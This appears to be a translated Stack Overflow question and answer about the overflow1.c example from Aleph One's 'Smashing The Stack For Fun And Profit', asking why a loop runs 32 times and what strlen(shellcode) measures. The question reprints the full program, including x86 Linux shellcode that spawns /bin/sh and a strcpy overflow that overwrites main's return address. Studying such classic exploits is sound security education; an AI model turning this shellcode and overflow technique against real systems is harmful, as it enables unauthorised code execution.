【问题标题】:Understanding Aleph One's first buffer overflow exploit了解 Aleph One 的第一个缓冲区溢出漏洞
【发布时间】:2014-12-14 11:51:51
【问题描述】:

我正在阅读 Aleph one 的“Smashing The Stack For Fun And Profit”,并到达了这个位置:

overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}

现在,我了解了漏洞利用背后的所有理论: shellcode[] 位于数据段(可写)中,并包含生成 shell 的代码。

我们想将它的内容复制到 main 的缓冲区,除了将 main 的返回地址覆盖到缓冲区的开头(这样执行控制将是我们的“生成 shell”代码。我们通过应对shellcodelarge_string[] 缓冲区(第二个 for 循环),large_sting[] 的其余部分(???)将包含缓冲区的地址(第一个 for 循环)。

当然,main的返回地址会被这个缓冲区的地址覆盖,因为我们将large_string[]复制到buffer[]strcpy)。

我的问题在于漏洞利用的一些小细节:


1.)

为什么第一个for循环是从i=0i=31?我的意思是,考虑到指针算法,它是如何工作的? [large_string[] 只有 128 字节]

2.)

srlen(shellcode) 是什么?


我会清理一下那种东西。

谢谢!

【问题讨论】:

    标签: c assembly stack-overflow


    【解决方案1】:

    1) 为什么第一个for循环是从i=0到i=31?我的意思是,考虑到指针算法,它是如何工作的? [large_string[] 只有 128 字节]

    它一次复制四个字节(它依赖于知道sizeof(int) 在目标平台上是4)和32 * 4 == 128

    2) 什么是 srlen(shellcode)?

    这是shellcode 中的字节数(这取决于shellcode 不包含嵌入的\0 字符这一事实。

    【讨论】:

    • 作为参考,本文假设平台是 Linux 上的“Intel x86”。
    • 谢谢,但我仍然有点困惑你为什么写“sizeof(int)”。你看到 long_ptr 是指向 long 的指针,而 large_string 是一个 char 数组...
    • sizeof(long) 真的很重要,但是 int 和 long 在 32 位 Linux 上的大小相同。
    猜你喜欢
    • 2016-06-04
    • 1970-01-01
    • 2020-07-13
    • 1970-01-01
    • 1970-01-01
    • 2013-02-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多